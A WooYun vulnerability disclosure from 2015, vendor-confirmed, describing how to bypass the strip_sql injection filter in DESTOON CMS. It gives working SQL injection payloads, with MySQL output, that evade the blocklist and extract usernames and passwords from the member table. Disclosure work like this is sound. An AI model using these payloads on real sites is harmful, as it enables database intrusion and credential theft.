当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151064

漏洞标题:destoon waf 绕过漏洞 (二)

相关厂商:DESTOON

漏洞作者: xiao.k

提交时间:2015-11-04 11:14

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

strip_sql是destoon主要的安全防御函数。主要防御大多数情况下的注入漏洞。这个函数如果可以被绕过。那么会引发多个位置的注入漏洞。

详细说明:

strip_sql函数位于 `\include\safe.func.php`,38行

function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i");
$replace = array('union','where','having','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','right(','mid(','concat(','concat_ws(','make_set(','ascii(','bin(','oct(','hex(','ord(','char(','conv(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('d', 'e', 'g', 'i', 'm', 'n','p', 'r', 's', 't', 'v', 'x'), array('d', 'e', 'g', 'i', 'm', 'n', 'p', 'r', 's', 't', 'v', 'x'), $string);
}
}


与之前提交的代码相比,`select from` 与 `select` 的位置进行了互换,过滤中加入了`accent`符号。过滤中还新加入了`right`,`mid`等函数。对于这些过滤。我们来一个个的绕过。
### `select from` 与 `select`
这个问题的绕过,还是使用上次的技巧。先给出利用语句。

/*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from


过滤后是这样的

/*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from `destoon_member` limit 1


首先是经过`/select([\s\S]*?)from/i`语句,会把第一个select和第一个from过滤。在这里我们需要牺牲这两个字符串,只有这样才能保全剩下的SELECT和FROM。
对于/select([\s\*\/\-\{\(\+@`])/i的过滤,我们也有办法:

技巧一:select.``.password from destoon_member
技巧二:select!1,password from destoon_member


### 函数过滤
strip_sql过滤了几乎所有的猜解字符函数,但是通过其他的技巧,还是可以绕过的。根据mysql的提示,函数与括号之间不能包含空格以外的字符,否则将此函数当成表名。那么我们接下来需要再找一些替代函数。我在这找到的是 LPAD、REVERSE、TRIM、SPACE,这4个函数组合起来,可以达到mid的目的

mysql> SELECT LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1));
SELECT MID('username',3,1);
+---------------------------------------------------------------+
| LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1)) |
+---------------------------------------------------------------+
| e |
+---------------------------------------------------------------+
1 row in set

+---------------------+
| MID('username',3,1) |
+---------------------+
| e |
+---------------------+
1 row in set

mysql>


拆分字符串之后,我们试着把字符串转为10进制。conv与括号之间加入注释符,依然是可以使用的。

mysql> select conv/**/('ad',16,10);
+----------------------+
| conv/**/('ad',16,10) |
+----------------------+
| 173 |
+----------------------+
1 row in set


## 漏洞利用代码
猜解destoon_member里的username。

(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT 0,13)


这个是转换后的代码,依然可以执行:

(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)


漏洞证明:

我们提交的原语句为

(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)


过滤后的语句为

(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)


以下为测试SQL语句的可执行性

mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223);
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 0 |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set

mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13);
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13) |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set

修复方案:

过滤的更全面一些。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-11-04 16:41

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无